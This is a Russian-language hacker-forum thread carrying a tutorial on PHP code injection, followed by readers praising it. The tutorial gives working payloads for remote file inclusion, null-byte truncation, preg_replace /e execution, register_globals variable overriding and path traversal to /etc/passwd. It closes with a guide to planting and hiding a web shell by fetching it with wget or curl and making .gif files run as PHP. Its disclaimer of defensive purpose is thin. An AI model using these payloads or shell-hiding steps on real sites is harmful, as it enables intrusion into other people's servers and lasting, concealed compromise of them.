![]() |
TRUE PHP-injection
Тут такая тема пошла в с пхп-инъекциями, каждый пишет свою статью и освещает в ней все одно и тоже. Было обидно смотреть, как каждый тщетно пытается раскрыть тему, я решил написать что-то боль-менее полноценное и завершенное, хотя, разумеется, все не идеально и здесь наверняка тоже будет чего добавить и подправить, но тем не менее... И так.
PHP-injection все тоноксти инъецирования кода в PHP скрипты В этой статье мы рассмотрим методику проведения атак класса PHP-injection. Это - не только стандартные пережеванные случаи с include. Статья ни в коем разе не призывает вас к каким-либо противоправным дейсвиям. Все изложенное написано прежде всего с целью предупреждения подобных ошибок веб-программистов, которых (и первых и последних =) сейчас, к сожалению, очень не мало. 1.1 Классика Самая известная ошибка, позволяющая проведение атаки PHP-inj - это подстановка значения переменной, определяющей подключаемый модуль, прямо в функцию подключения этого модуля include, когда передаваемое этой функции значение определяется только этой переменной. Возьмем такой фрагмент кода Код:
$umol4anie="main.php";http://site.ru/index.php?id=http://othersite.ru/anyfile Где содержимое anyfile - это неинтерпретированный на othersite.ru PHP-скрипт. Например вот такой: Код:
<?http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND] Обойти эту уязвимость можно многими путями. Некоторые из попыток сделать это, также не приведут ни к чему хорошему. Рассмотрим такой пример: Код:
$ex=".php";http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND] Действительно, ведь скрипт сам прикрутит расширение php. Это были самые элементарные атаки PHP-injection. Ниже мы рассмотрим кое-что по-занимательнее. Код:
Лирическое отступление:В конце этой заметки Вы поймете почему у нее такое название. Функция file_exists проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. Т.е. файл должен быть доступен через файловую систему сервера. Таким образом мы сможем исключить любую инъекцию удаленного фрагмента. Код:
$ex=".php";Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей zip, rar, doc и другие безобидные вещи. Но в перемнной $ex как правило содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код у нас в файле av132.gif, а расширение, прикручиваемое внутри index.php неизвестно. В PHP есть такая вещь, как magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф ', кавычка " и другие. Т.е. если мы послали в куках либо GET, POST запросе строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Сей пасс иногда спасает криворуких программистов от взлома их скрипта, т.к. слеширование очень часто, во всевозможнейших ситуациях обезоруживает зловредный код. Однако программистам с опытом эта функция доставляет больше хлопот чем помощи. Как раз поэтому-то еще остались хостеры, которые не держут включенной эту опцию. Именно magic_quotes_gpc установленная на OFF позволит провести нам инъекцию. К числу потенциально опасных символов относится нулевой байт. Нулевой байт обозначает конец строки. Т.е, если его вписать в середине строки, будет воспринята лишь часть строки до этого символа (все это на пальцах и условно, не везде нулевой байт не может быть просто символом строки, но в нашем случае именно так). Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его врятли кто захочет. Вот пример инъекции: http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND] %00 - закодированный в формат URL нулевой байт. Строка передаваемая функции include имеет вид forum/avatars/user/av132.gif[NULL].php. Как я отмечал выше, нулевой байт «отрезает» правую часть строки. Таким образом прикручиваемое расширение не имеет значения и мы подставляем в файл PHP фрагмент из аватары av132.gif. Правда сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Поэтому параграф имеет такое название. 1.3 elseif или что еще можно сделать Помимо описанных выше действий можно сотворить еще много всего, но каждый раз это зависит от данного конкретного примера. Разберем один примерчик. Допустим у нас есть такой фрагмент минимодульного движка Код:
error_reporting(0);Если в гет запросе значение параметра cat не удовлетворяет требуемым, мы получим предупреждение о том, что раздел неверен, однако дальнейшее исполнение скрипта будет продложено. Ошибки автор скрыл через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Однако, мы можем передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru наш скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно. Еще к слову о попытке предотварить подобные явления поиском в строке каких-то подстрок или символов. В include (и аналоги) удаленно инъекцтировать можно не только по http, но и по ftp. Примечания к перовму разделу 1)Важно! В случае инъектирования удаленного кода использование нулевого символа необязательно (и кроме того нежелательно, т.к. трюк с «ядовитым нулем», как Вы знаете работает невсегда)! Для отсечения прикручиваемого расширения можно поставить в конце строки ?. Тогда строка, преданная на инклуд, будет иметь примерно следующий вид: http://your.site.ru/script.txt?.php А по протоколу HTTP, все что идет после ? расценивается, как параметры, передаваемые скрипту. 2)Вместо функции include в скрипте могут фигурировать схожие include_once, require, require_once, которые так же могут задействоваться в описанных уязвимостях. 3)Инъекция удаленного фрагмента может быть произведена только при соотвтствующей конфигурации PHP. 4)Инъекция с нулевым байтом может быть произведена только при соотвтствующей конфигурации PHP. Исключением может быть скрипт, где автор сам по каким-либо причинам stripslashes'ирует входящие данные перед инклудом. 2.1 upload Вспоминаем 1.2. Там мы загружали файл/аватар на форум или какой-то другой движок с функцией пользовательского аплоада. Отмечалось, что расширения файла ограничены, однако иногда это можно обойти. Хотя ошибка очень прозрачна, она до сих пор нередко встречается. Допустим вы загружаете файл. Неопытные программисты иногда пишут проверку расширений примерно вот так: Код:
$exps=array(На самом деле, скрипту дОлжно проверять самую посленюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера: Код:
$exps=array(В чем фишка? Если апач не может определить расширения файла, т.е. не обнаруживает его среди описанных в своих конфигах, он смотрит следующую часть имени файла, отделенную точной от расширения (и т.д.). Т.е. например файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP скрипт! В итоге - единственным верным решением будет - полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess с удалением/переопределением опасных расширений. Например: Код:
RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl2.2 Eval Функция eval в PHP интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP приложении. Очень часто она применяется для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать тоже самое можно и без eval практически теми же усилиями, разработчики часто прибегают к использованию eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого мы не называем: Код:
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")2.3.1 preg_replace - зачем там /e? Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением на строку (второй параметр), которая так же может быть задана регулярным выражением, в данной строке (третий параметр). Так же существует необязательный 4-ый параметр, но он нас не интересует. Заменяемая подстрока имеет следующий формат : Код:
[разделитель][рег. выражение][разделитель][модификаторы]рег. выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например модификатор i означает поиск без учета регистра. В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки. Т.е. /(.*)/i - означает поместить всю данную строку в результат №1. Номеруются результаты начиная с номера 1 с лева на право по ходу расположения открывающих логических скобок в заменяемой подстроке. Чтобы разместить результат с номером n в заменяющей строке используется сочетание \\n или равносильное $n. Пример: Код:
$c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);Нас будет интересовать модификатор e, используемый в preg_replace. Он предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпртирует как PHP-код. Т.е. если у нас есть строка $c="ping", то прогнав вот такой вот PHP-сценарий Код:
$c=preg_replace("/^(.*)$/ie", "print('\\1')", $c); |
И так, перед нами фрагмент кода viewtopic.php из phpBB версии 2.0.15:
Код:
$message = str_replace('\"', '"', substr(@preg_replaceЕсли пользователю задать highlight как '.system('dir').', то то, что выполнит скрипт перед заменой в $message будет иметь примерно такой вид: Код:
preg_replace('#\b('.system('dir').')\b#i', '...', '...')Как уже было сказано, условно можно считать, что непопорченый magic_quotes_gpc или addslashes NULL отрезает правую часть строки. Для чего это может быть использовано? Оказывается, много для чего. Нужно только воображение. В частонсти очень хорошо NULL можно применить при работе с preg_replace. Если в заменяемой подстроке, определяемой регулярным выражением, всунута переменная, которую тем или иным способом определяет пользователь, можно попробовать изменить структуру заменяемой подстроки так, чтобы в конце стоял модификатор /e. Рассмотрим простенький пример: Код:
preg_replace("#$c#i", '\\1', $mda);Код:
script.php?c=(system\(ls\))%23e%00&mda=system(ls)2.4 Движки на файлах Некоторые бесплатные хостеры не предоставляют доступ к MySQL. Для таких случаев пишутся движки на т.н. текстовых ДБ, т.е. ДБ ввиде обычных файлов в домашнем каталоге. Структура и общение с текстовыми ДБ может быть самая разная. Иногда разработчики даже придумывают библиотеки функций для работы с текстовыми ДБ с помощью некоего подобия языка SQL. В таком случае текстовая DB представляет из себя папки и файлы, где (например) папки - это базы данных, файлы - таблицы, а внутри файлов все как-то мудрено организовано ввиде структуры таблицы. Это как пример. Нас будет интересовать другой подход к организации ДБ на файлах. Например, что может быть проще того, чтобы заносить все данные в некий PHP файл, доступ к которому будет закрыт из вне, с тем чтобы потом его инклудать и получать массивы данных прямо в готовом виде. Рассмотрим уязвимость в exBB 1.9.1. Нам неважно то, как мы сможем получить доступ к админ панели (это делается с помощью других, не PHP-inj уязвимостей в движке), но главное что такая возможность есть. Зайдем в админ панель, в конфигурации. Теперь поищем, где хранятся все эти данные. Оказывается, что они лежат как раз в таком инклудаемом файле (доступ к нему закрыт .htaccess'ом). Файл имет вид: Код:
<?Код:
$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''http://zadoxlik.info/phpinj/exbb.jpg 2.5 Что еще могет быть ? Рассмотрим подробнее некоторые конкретные, часто встречающиеся, примеры. !!!!!Опасно!!!!! 1)Использовать массив данных, без предварительного объявления. Например: Код:
for($i=0;$i<10;$i++)для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET запрос: Код:
http://host/script.php?a[10]=1;system('ls');//Для избавелния от данной ошибки, надо предварительно написать определение $a=array(). При передаче элемента массива через GET, POST запросы или куки, ключ не ставится в кавычки. Т.е. например в запросе следует писать array[nameindex] а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. Т.е. расчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и, иногда, при особым образом сформированном запросе непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще - движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - вообще очень лакомый кусочек, т.к. часто там можно встретить, include, require, eval и др. с использованием неопределенных переменных. 2)Каким-либо образом подвергать уже определенные переменные опасности переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard. Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (т.е. файл, к которому предполагается непосредственное обращение пользователя) в самом начале этого скрипта. Все конфигурационные данные представляют из себя элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET в одноименные переменные внутри скрипта. Код:
if (!empty($_GET))Код:
index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd3)Не думать о разнице между " и '. Выше я упоминал про взлом хацкерского ресурса. Осуществлен он был через следующий фрагмент скрипта: Код:
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")http://zadoxlik.info/phpinj/xak.jpg Но это еще полбеды. Дело в том, что разработчики позаботились о том, чтобы мы могли вызывать произвольную функцию прямо из строки (не "bla".func()."bla", а непосредственно без выхода за двойную кавычку). Делается это так: {${function()}} Где function() - обращение к произвольной функции. Т.е. если передать нашему скрипту строку {${system([COMMAND])}}, мы получим веб-шелл. Примечания ко второму разделу 1)В заметке 2.1 загруженный скрипт будет являться PHP-интерпретируемым в том случае, когда на каталог с загруженными файлами не стоит соотвтествующей директивы. Чтобы ее установить (Apache) нужно создать файл .htaccess в этой папке, или в папке уровнем ниже примерно с таким содержанием: Код:
RemoveType .php3 .php .php4 .php5 .phtml .phtm .cgi .pl2)К заметке 2.3. Каждый параметр preg_replace может быть массивом. PHP-injection 2 web-shell Т.к. обнаруженные баги на сайтах обычно долго не живут, то держать ввиде веб-шелла саму уязвимость не только неудобно, но и ненадежно. Здесь я опишу как нам залить на сайт и укромно припрятать вебшелл. Прежде всего, у нас должна быть папка с правами на запись. Чтобы получить листинг файлов и папок с правами рекурсивно воспользуйтесь командой: Код:
ls -RlaКод:
dir /QВот теперь, когда вы нашли директорию с правами на запись, надо залить сам скрипт. Для того чтобы узнать какая качалка стоит на сервере выполните следующую команду: Код:
which get;which wget;which lynx;which curl;which fetch;which linksЕсли доступа к cmd нет, можно обойтись простым PHP скриптом. Скрипт для заливки удаленного файла на здеся. Теперь нам надо спрятать наш скриптик, чтобы админ, пропатчив приложение не заметил его беглым взглядом. Чтобы спрятать шелл, нужно придумать ему неприметное название. Но если он, например, находится в папке для аватар, то как его не переименовывай, файл с расширением php - белая ворона среди гифок и джепегешок. Но что нам мешает загрузить в папку .htaccess файл и указать, что файлы с расширением gif интерпретировать как PHP скрипт. Строку «AddType application/x-httpd-php gif» можно занести в .htaccess с помощью echo из cmd или простейшим скриптом. В случае установленного на сервере safe_mode Вы не сможете использовать функции выполнения системных команд и программ. К счастью, safe_mode это директива PHP, так что если PHP-инъекцию удасться найти можно будет химичить с Perl'ом, на которого ограничения safe_mode никак не распространяются. Тут есть пример вебшелла на перле. Ко всему выше сказанному Не забывайте, что, согласно HTTP протоколу, пользователь может отправлять параметры скрипту четырмя способами: GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере, и пользователем модифицирована быть не может, в то время как куки вы можете спокойно модифицировать. Это можно делать перед подачей в браузер (с помощью спец. программ или заложенных в браузер возможностей), а проще обхоиться вообще без бруазера, т.е. генерировать HTTP запросы самому (делать это можно с помощью чего угодно, например есть такая программа Инет кряк), благо основы HTTP выучить можно буквально за несколько минут. Прелесть в том, что многие начинающие веб-программисты относятся к кукакм как к чему-то такому, что проверять надо менее строго чем POST и GET (ну вроде того что последние два можно задавать прямо в строке браузера или в формочке на сайте, а куки еще и «хрен знает как ты подделаешь»), поэтому, очень часто, уязвимости можно встретить именно в параметрах, передаваемых куками. Это могут быть как XSS, SQL-injection так и PHP-injection. Я рекомендую (угагага) для поиска уязвимостей PHP-injection писать программку, которая бы сканировала все файлы движка и вынимала из них всяческие подозрительные вещи, например все то, что описано в статье. Все eval, строки регулярных выражений с модификатором e, не говоря уже о include, require и т.д. А анализируется подобный материал потом достаточно быстро и просто. Простенький пример такой программки можете взять на тута вот(Лучше переписать, т.к. это просто иллюстрация). Хотя, конечно, не всегда найти что хочешь можно путем анализа логов подобной программы. Специально для ][ от Zadoxlik'а с antichat.ru, о как |
Начал читать статью, прочитал строк 40 и только потом понял, что я ее уже читал. Статья порадовало, но не хватает примеров из реальности - то есть рассмотрения приведенных ошибок в свете действительной ситуации с форумами и т. п.
|
уже читал,статья из хакера походу. но респект!
|
Да, из хака точно. но правильно, тут значительно статья лучше, они видать обрезали твоё ух. а так норма.=)
|
Хорошо конечно это всё, но как и во всех статьях нету самого главного. Многие новички прочитав это прямиком побегут на сайт смотреть хтмл код страницы и яро надеясь там увидеть что либо подобное. Об этом как всегда умолчалось.
|
Если новичок до такой степени новичок, я думаю если бы здесь что-то по этому поводу бы было написано, ему бы это не помогло
|
Цитата:
|
Нет статья писалась для античата и уже год назад примерно %)
|
Статья классная. Апплодисменты Zadoxlikу :).
Уже читал ее в ][, но сейчас с удовольствием перечитал. К описанным в ней способам реализации php-inj можно было бы еще добавить, к примеру, вариант пхп-иньекций через логи Апача.. |
| Время: 12:04 |